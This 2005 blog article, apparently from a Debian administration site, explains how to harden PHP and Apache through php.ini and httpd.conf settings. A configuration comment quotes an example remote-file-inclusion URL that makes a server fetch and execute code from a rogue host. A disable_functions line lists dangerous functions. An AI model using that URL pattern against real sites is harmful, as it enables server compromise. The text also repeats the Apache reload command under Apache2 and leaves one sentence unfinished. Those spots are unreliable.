Tightening PHP Security

Posted by Steve on Fri 13 May 2005 at 13:36

There are a lot of Debian systems running PHP code, and in their default state the Debian PHP packages don't tighten up security as much as they could. There are a lot of badly coded scripts out there which can be abused by malicious users. (PHP is in no means alone in that regard!)

Perhaps because it is easy to begin programming in PHP a lot of beginners use it, and because they are beginners to programming they don't take security into account as much as they should.

Again this isn't a problem that's specific to PHP, but as this is an environment which can be customised and restricted by the paranoid it's a good idea to cover some of the basics. (Especially if you're trusting users to install scripts upon your system).

There are several easy things you can do to tighten up the environment which PHP runs in, and here we'll cover the basics.

Adjusting Your Webserver

If you're running PHP then chances are you're using Apache, or Apache2 as your webserver. If this is the case you can make some minor tweaks to its setup to help protect your machine.

Two such things we've already covered on this site are:

In addition to that you can hide the version of the server you're using, and avoid advertising the version of any modules loaded in your servers response.

If you alter your httpd.conf file to include the following two lines the presence, and version, of the PHP module will be hidden - as will the version of Apache you're using:

ServerSignature Off
ServerTokens production
Adjusting PHP Setup

If you wish to make global changes to the way that PHP is configured upon your system, then you will need to edit the file php.ini. This will typically be found in either the directory /etc/php4/apache, or /etc/php4/apache2.

The php.ini file allows you to configure the PHP environment, including changing the extensions loaded and the behaviour of the language.

After making changes to this file you'll need to restart your webserver if you're using mod_php, rather than running PHP scripts as a CGI. You'd do that by running one of the following commands:

Apache
/etc/init.d/apache reload

Apache2
/etc/init.d/apache reload
Logging

PHP can be configured to handle errors in various ways. The most common way it is left is to log errors to the browser of the client who manages to trigger the error.

If your installation is setup like this you can inadvertently reveal errors that are sensitive - for example the location of files on your filesystem.

A better approach is to only log errors to a file upon the server. If a developer is having problems with their scripts they can presumably access them there.

Alternatively you can use syslog reporting - which can allow you to report errors to a remote machine via syslog-ng.

If you wish to alter this behaviour you should modify your php.ini file to have the following settings:

display_errors = Off
log_errors     = On
error_log      = syslog
ignore_repeated_errors = On
Disallow Dangerous Functions

Like perl, or C, PHP has a "system" function which allows scripts to execute commands.

If you're happy you don't need this ability in the scripts you're using then you can disable this function, in case it's abused by a remote attacker.

To disable functions you merely add their name to the disable_functions option. For example:

disable_functions = dl, phpinfo, system, mail ...
Limit Resources

To avoid your PHP installation from consuming too many resources you can place limits on their usage.

The following settings are all useful ways of adjusting the resources your PHP scripts can consume:

; Maximum execution time of each script, in seconds
max_execution_time = 30

; Maximum amount of time each script may spend parsing request data
max_input_time = 60

; Maximum amount of memory a script may consume (8MB)
memory_limit = 8M

; Maximum size of POST data that PHP will accept.
post_max_size = 8M



; Whether to allow HTTP file uploads.
file_uploads = Off

; Maximum allowed size for uploaded files.
upload_max_filesize = 2M

Avoid Opening Remote Files

One of the useful abilities of PHP is the ability to open files remotely without any complex processing.

Many simple scripts use this ability, for example a comic viewer might open up images from a remote server just using the fopen function - which is ordinarily used to open files.

It is an ability has often been abused in insecure scripts though.

If you have a script which tries to open a file and the filename is controllable by a remote user two things can happen:

To disable this attack you can set the following in your php.ini file:

; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
; 
; This is turned off to avoid variable redefinition by remote attacker
; that attempts to have the server download (and execute) a remote file
; from a compromised host. This behaviour has been observed in automatic
; scanning against badly written applications:
; http://myhost/myapplication.php?include=http://roguesever/rogueapp.php
allow_url_fopen = Off

More examples of tightening up PHP security can be found on the PHP website.

If you're running Debian Sarge, or Debian's unstable distribution you can find a commented php.ini-paranoid file included in the directory /usr/share/doc/php4-common/examples.


This article can be found online at the Debian Administration website at the following bookmarkable URL (along with associated comments):

This article is copyright 2005 Steve - please ask for permission to republish or translate.